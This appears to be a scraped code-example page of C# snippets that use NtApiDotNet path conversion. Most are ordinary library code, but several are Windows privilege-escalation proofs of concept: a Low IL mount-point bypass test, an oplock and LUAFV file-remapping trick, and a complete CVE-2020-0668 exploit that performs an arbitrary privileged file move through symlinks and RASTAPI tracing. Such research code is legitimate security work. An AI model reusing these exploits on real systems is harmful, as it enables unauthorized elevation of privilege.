Exemplo n.º 1
0
        static void Main(string[] args)
        {
            try
            {
                string dir = CreateDir();
                Console.WriteLine("Created {0} to test mount point bypass", dir);
                using (var token = NtToken.OpenProcessToken())
                {
                    Console.WriteLine("Lowering token to Low IL");
                    token.SetIntegrityLevel(TokenIntegrityLevel.Low);
                }

                using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(dir), null,
                                              FileAccessRights.GenericRead | FileAccessRights.GenericWrite,
                                              FileShareMode.None, FileOpenOptions.OpenReparsePoint | FileOpenOptions.DirectoryFile))
                {
                    Console.WriteLine("Opened {0}", file.FullPath);
                    byte[] buffer = BuildReparseBuffer(Environment.GetFolderPath(Environment.SpecialFolder.Windows));
                    file.FsControl(NtWellKnownIoControlCodes.FSCTL_SET_REPARSE_POINT_EX, buffer, 0);
                    MountPointReparseBuffer rp = (MountPointReparseBuffer)file.GetReparsePoint();
                    Console.WriteLine("Set Mount Point: {0} {1}", rp.Tag, rp.SubstitutionName);
                    Console.ReadLine();
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
                Console.ReadLine();
            }
        }
        private string MapWin32ToDevicePath()
        {
            string path            = NtFileUtils.DosFileNameToNt(SymbolicLinkPath);
            string final_component = string.Empty;

            // Strip off any remaining path.
            if (path.StartsWith(@"\??\"))
            {
                int slash_index = path.IndexOf('\\', 4);
                if (slash_index >= 0)
                {
                    final_component = path.Substring(slash_index);
                    path            = path.Substring(0, slash_index);
                }
            }

            using (var link = NtSymbolicLink.Open(path, null, SymbolicLinkAccessRights.Query, false))
            {
                if (link.IsSuccess)
                {
                    path = link.Result.Target;
                }
            }

            return(path + final_component);
        }
 static string ConvertPath(string path)
 {
     if (path.StartsWith(@"@\"))
     {
         return(path.Substring(1));
     }
     return(NtFileUtils.DosFileNameToNt(path));
 }
Exemplo n.º 4
0
        static void UpdateSecurity(string path)
        {
            var sd = new NtApiDotNet.SecurityDescriptor("D:AI(A;;FA;;;WD)(A;;FA;;;AC)");

            using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.WriteDac))
            {
                file.SetSecurityDescriptor(sd, NtApiDotNet.SecurityInformation.Dacl);
            }
        }
        internal static NtResult <string> GetFileBasePath(SessionState state)
        {
            var current_path = state.Path.CurrentLocation;

            if (!current_path.Provider.Name.Equals("FileSystem", StringComparison.OrdinalIgnoreCase))
            {
                return(NtResult <string> .CreateResultFromError(NtStatus.STATUS_OBJECT_PATH_NOT_FOUND, false));
            }
            return(NtFileUtils.DosFileNameToNt(current_path.Path, false));
        }
Exemplo n.º 6
0
 /// <summary>
 /// Get certificates from a PE file.
 /// </summary>
 /// <param name="path">The path to the PE file.</param>
 /// <param name="throw_on_error">True the throw on error.</param>
 /// <returns>The list of authenticode certificate entries.</returns>
 public static NtResult <IReadOnlyList <AuthenticodeCertificate> > GetCertificates(string path, bool throw_on_error)
 {
     using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.ReadData | FileAccessRights.Synchronize,
                                   FileShareMode.Read | FileShareMode.Delete, FileOpenOptions.NonDirectoryFile | FileOpenOptions.SynchronousIoNonAlert, throw_on_error)) {
         if (!file.IsSuccess)
         {
             return(file.Cast <IReadOnlyList <AuthenticodeCertificate> >());
         }
         return(GetCertificates(file.Result, throw_on_error));
     }
 }
 /// <summary>
 /// Virtual method to return the value of the Path variable.
 /// </summary>
 /// <returns>The object path.</returns>
 protected override string ResolvePath()
 {
     if (Win32Path)
     {
         return(NtFileUtils.DosFileNameToNt(Path));
     }
     else
     {
         return(Path);
     }
 }
 static NtSection CreateSection(string file_path, string name, NtDirectory root)
 {
     using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(file_path), null,
                                   FileAccessRights.GenericRead | FileAccessRights.GenericExecute,
                                   FileShareMode.Read | FileShareMode.Delete, FileOpenOptions.NonDirectoryFile))
     {
         using (var obja = CreateObjectAttributes(name, root))
         {
             return(NtSection.Create(obja, SectionAccessRights.MaximumAllowed,
                                     null, MemoryAllocationProtect.ExecuteRead, SectionAttributes.Image, file));
         }
     }
 }
Exemplo n.º 9
0
 static NtSection RemapFileAsRW()
 {
     string base_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "luafv_" + Guid.NewGuid());
     Console.WriteLine("Base Path: {0}", base_path);
     DirectorySecurity dir_sd = new DirectorySecurity();
     Directory.CreateDirectory(base_path);
     string target_path = NtFileUtils.DosFileNameToNt(Path.Combine(base_path, "dummy.txt"));
     string license_file = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "license.rtf");
     Console.WriteLine("Trying to map {0} R/W", license_file);
     NtFile.CreateHardlink(NtFileUtils.DosFileNameToNt(license_file), target_path);
     using (var oplock_file = NtFile.Open(target_path, null, FileAccessRights.ReadAttributes, FileShareMode.All, FileOpenOptions.NonDirectoryFile))
     {
         var oplock = oplock_file.RequestOplockAsync(OplockLevelCache.Read | OplockLevelCache.Write, RequestOplockInputFlag.Request);
         Console.WriteLine("Started oplock");
         SetVirtualization(true);
         Console.WriteLine("Opening file");
         using (var file = NtFile.Open(target_path, null, FileAccessRights.GenericRead
             | FileAccessRights.GenericWrite, FileShareMode.All,
             FileOpenOptions.NonDirectoryFile | FileOpenOptions.CompleteIfOplocked))
         {
             SetVirtualization(false);
             Console.WriteLine("{0} {1}", NtProcess.Current.ProcessId, file.Handle.DangerousGetHandle());
             Console.WriteLine("{0} {1}", file.FullPath, file.GrantedAccess);
             CreateVirtualStoreFile(target_path, GetDummyBuffer());
             
             var async_read = file.ReadAsync(1, 0);
             if (!oplock.Wait(10000))
             {
                 throw new Exception("Oplock Timed Out");
             }
             Console.WriteLine("Oplock Fired");
             EaBuffer ea = new EaBuffer();
             ea.AddEntry("Hello", new byte[16], EaBufferEntryFlags.None);
             // Set EA to force the delayed virtualization to complete without triggering oplock.
             Console.WriteLine("Setting EA");
             file.SetEa(ea);
             Console.WriteLine("File now {0}", file.FullPath);
             oplock_file.Close();
             Console.WriteLine("Closed oplock_file");
             if (!async_read.Wait(10000))
             {
                 throw new Exception("Async Read Timed Out");
             }
             Console.WriteLine("Read Complete");
             return NtSection.Create(null, SectionAccessRights.MaximumAllowed, null,
                 MemoryAllocationProtect.ReadWrite, SectionAttributes.Commit, file);
         }
     }
 }
Exemplo n.º 10
0
        static string CreateDir()
        {
            string temp_path = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString());

            Directory.CreateDirectory(temp_path);
            using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(temp_path), null, FileAccessRights.WriteOwner))
            {
                var sd = new SecurityDescriptor
                {
                    IntegrityLevel = TokenIntegrityLevel.Low
                };
                file.SetSecurityDescriptor(sd, SecurityInformation.Label);
                return(temp_path);
            }
        }
Exemplo n.º 11
0
        static byte[] BuildReparseBuffer(string target)
        {
            MountPointReparseBuffer buffer = new MountPointReparseBuffer(NtFileUtils.DosFileNameToNt(target), target);
            MemoryStream            stm    = new MemoryStream();
            BinaryWriter            writer = new BinaryWriter(stm);

            // Flags.
            writer.Write(0);
            // Existing tag.
            writer.Write(0);
            writer.Write(Guid.Empty.ToByteArray());
            // Reserved.
            writer.Write(0UL);
            writer.Write(buffer.ToByteArray());
            return(stm.ToArray());
        }
 private static string RemoveDevicePrefix(string win32_path)
 {
     if (win32_path.StartsWith(@"\\?\"))
     {
         if (win32_path.StartsWith(@"\\?\UNC\", StringComparison.OrdinalIgnoreCase))
         {
             return(@"\\" + win32_path.Substring(8));
         }
         else if (win32_path.Length >= 6)
         {
             if (NtFileUtils.GetDosPathType(win32_path.Substring(4)) == RtlPathType.DriveAbsolute)
             {
                 return(win32_path.Substring(4));
             }
         }
     }
     return(win32_path);
 }
        internal static string ResolveWin32Path(SessionState state, string path, bool convert_to_nt_path)
        {
            var path_type = NtFileUtils.GetDosPathType(path);

            if (path_type == RtlPathType.Rooted && path.StartsWith(@"\??"))
            {
                path_type = RtlPathType.LocalDevice;
            }
            switch (path_type)
            {
            case RtlPathType.Relative:
            case RtlPathType.DriveRelative:
            case RtlPathType.Rooted:
                path = ResolveRelativePath(state, path, path_type);
                break;
            }

            return(convert_to_nt_path ? NtFileUtils.DosFileNameToNt(path) : Path.GetFullPath(path));
        }
        /// <summary>
        /// Virtual method to resolve the value of the Path variable.
        /// </summary>
        /// <returns>The object path.</returns>
        protected override string ResolvePath()
        {
            if (Win32Path)
            {
                string path = Path;

                var path_type = NtFileUtils.GetDosPathType(Path);
                switch (path_type)
                {
                case RtlPathType.Relative:
                case RtlPathType.DriveRelative:
                case RtlPathType.Rooted:
                    path = ResolveRelativePath(path, path_type);
                    break;
                }

                return(NtFileUtils.DosFileNameToNt(path));
            }
            else
            {
                return(Path);
            }
        }
 /// <summary>
 /// Convert a Win32 Path to a Native NT path.
 /// </summary>
 /// <param name="win32_path">The win32 path to convert.</param>
 /// <returns>The native path.</returns>
 protected override string ConvertWin32Path(string win32_path)
 {
     return(NtFileUtils.DosFileNameToNt(win32_path));
 }
        static void Main(string[] args)
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            NtToken.EnableDebugPrivilege();

            try
            {
                if (args.Length == 0)
                {
                    Application.Run(new MainForm());
                }
                else
                {
                    int    handle      = -1;
                    string text        = String.Empty;
                    bool   read_only   = false;
                    bool   delete_file = false;
                    string filename    = string.Empty;

                    OptionSet opts = new OptionSet()
                    {
                        { "handle=", "Specify an inherited handle to view.",
                          v => handle = int.Parse(v) },
                        { "readonly", "Specify view section readonly", v => read_only = v != null },
                        { "file=", "Specify a file to view", v => filename = v },
                        { "delete", "Delete file after viewing", v => delete_file = v != null },
                    };

                    opts.Parse(args);

                    if (handle > 0)
                    {
                        using (var section = NtSection.FromHandle(new SafeKernelObjectHandle(new IntPtr(handle), true)))
                        {
                            read_only = read_only || !section.IsAccessGranted(SectionAccessRights.MapWrite);
                            using (var map = read_only ? section.MapRead() : section.MapReadWrite())
                            {
                                using (SectionEditorForm frm = new SectionEditorForm(map, GetName(section, map), read_only))
                                {
                                    Application.Run(frm);
                                }
                            }
                        }
                    }
                    else if (File.Exists(filename))
                    {
                        try
                        {
                            using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(filename), null,
                                                          FileAccessRights.ReadData, FileShareMode.Read | FileShareMode.Delete, FileOpenOptions.NonDirectoryFile))
                            {
                                using (NtSection section = NtSection.CreateReadOnlyDataSection(file))
                                {
                                    using (var map = section.MapRead())
                                    {
                                        using (SectionEditorForm frm = new SectionEditorForm(map, filename, true, file.Length))
                                        {
                                            Application.Run(frm);
                                        }
                                    }
                                }
                            }
                        }
                        finally
                        {
                            if (delete_file)
                            {
                                File.Delete(filename);
                            }
                        }
                    }
                    else
                    {
                        throw new Exception("Invalid command line arguments");
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
Exemplo n.º 17
0
        static public void MakeMountPoint(string mountpoint)
        {
            string mountDirectoryNt = NtFileUtils.DosFileNameToNt(mountpoint);

            NtFile.CreateMountPoint(mountDirectoryNt, ObjectDirectory, "");
        }
Exemplo n.º 18
0
        static void Main(string[] args)
        {
            AppDomain.CurrentDomain.ProcessExit += AppDomain_ProcessExit;
            using (var textWriter = new StreamWriter(@"D:\test.txt"))
            {
                foreach (var arg in args)
                {
                    textWriter.WriteLine(arg);
                }
            }

            try
            {
                if (args[0] == "-p")
                {
                    _process    = NtProcess.Open(int.Parse(args[1]), ProcessAccessRights.MaximumAllowed);
                    _waitHandle = new IntPtr(long.Parse(args[3]));
                }
                else
                {
                    var config = new NtProcessCreateConfig();
                    config.InitFlags   |= ProcessCreateInitFlag.IFEOSkipDebugger;
                    config.ThreadFlags |= ThreadCreateFlags.Suspended;
                    var path = NtFileUtils.DosFileNameToNt(args[0]);
                    config.ConfigImagePath = path;
                    var result = NtProcess.Create(config);
                    _process = result.Process;
                    _thread  = result.Thread;
                }

                while (true)
                {
                    bool beingDebugged;
                    if (_process.Wow64)
                    {
                        PartialPeb32 peb = (PartialPeb32)_process.GetPeb();
                        beingDebugged = peb.BeingDebugged == 1;
                    }
                    else
                    {
                        PartialPeb peb = (PartialPeb)_process.GetPeb();
                        beingDebugged = peb.BeingDebugged == 1;
                    }

                    if (beingDebugged)
                    {
                        break;
                    }

                    Thread.Sleep(100);
                }

                if (_thread != null)
                {
                    _thread.Resume();
                }

                if (_waitHandle != IntPtr.Zero)
                {
                    SetEvent(_waitHandle);
                }
            }
            finally
            {
                cleanUp(false);
            }
        }
 internal void RunAccessCheckPathInternal(IEnumerable <TokenEntry> tokens, string path)
 {
     RunAccessCheckPath(tokens, NtFileUtils.DosFileNameToNt(path));
 }
Exemplo n.º 20
0
        static void Main(string[] args)
        {
            if (args.Length != 2)
            {
                Console.WriteLine("Use CVE-2020-0668 to perform an arbitrary privileged file move operation.");
                Console.WriteLine($"Usage: inFilePath outFilePath");
                return;
            }
            String inDLLPath  = args[0];
            String outDllPath = args[1];

            if (!File.Exists(inDLLPath))
            {
                Console.WriteLine($@"[!] Cannot find {inDLLPath}!");
                return;
            }
            Console.WriteLine(String.Format("[+] Moving {0} to {1}", inDLLPath, outDllPath));

            bool checkVuln = isVulnerable();

            if (!checkVuln)
            {
                Console.WriteLine("[-] NOT VULNERABLE: Hotfix KB4532693 Found");
                return;
            }
            else
            {
                Console.WriteLine("[+] VULNERABLE: Hotfix KB4532693 Not Found");
            }

            String       tempDirectory   = GetTemporaryDirectory();
            const string ObjectDirectory = @"\RPC Control";

            Console.WriteLine($@"[+] Mounting {ObjectDirectory} onto {tempDirectory}");
            string tempDirectoryNt = NtFileUtils.DosFileNameToNt(tempDirectory);

            NtFile.CreateMountPoint(tempDirectoryNt, ObjectDirectory, "");

            Console.WriteLine("[+] Creating symbol links");

            var logFileSymlnk = NtSymbolicLink.Create($@"{ObjectDirectory}\RASTAPI.LOG", $@"\??\{inDLLPath}");
            var oldFileSymlnk = NtSymbolicLink.Create($@"{ObjectDirectory}\RASTAPI.OLD", $@"\??\{outDllPath}");

            Console.WriteLine(@"[+] Updating the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASPLAP configuration.");
            Console.WriteLine(@"[+] Sleeping for 5 seconds so the changes take effect");
            UpdateRASTAPITracingConfig(tempDirectory, true, 0x1000);
            Thread.Sleep(5000); // might have to sleep for the update to take effect


            string phonebookPath = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString() + ".pbk");

            Console.WriteLine($"[+] Writing phonebook file to {phonebookPath}");
            File.WriteAllText(phonebookPath, CVE_2020_0668.Properties.Resources.Phonebook);

            using (Process p = new Process())
            {
                p.StartInfo.FileName        = "rasdial";
                p.StartInfo.Arguments       = $@"VPNTEST test test /PHONEBOOK:{phonebookPath}";
                p.StartInfo.CreateNoWindow  = true;
                p.StartInfo.UseShellExecute = false;
                p.Start();
                p.WaitForExit();
            }

            Console.WriteLine("[+] Cleaning up");
            File.Delete(phonebookPath);
            Directory.Delete(tempDirectory, true);
            logFileSymlnk.Close();
            oldFileSymlnk.Close();
            UpdateRASTAPITracingConfig(@"%windir%\tracing", false, 0x100000); //those are the default values


            Console.WriteLine("[+] Done!");
        }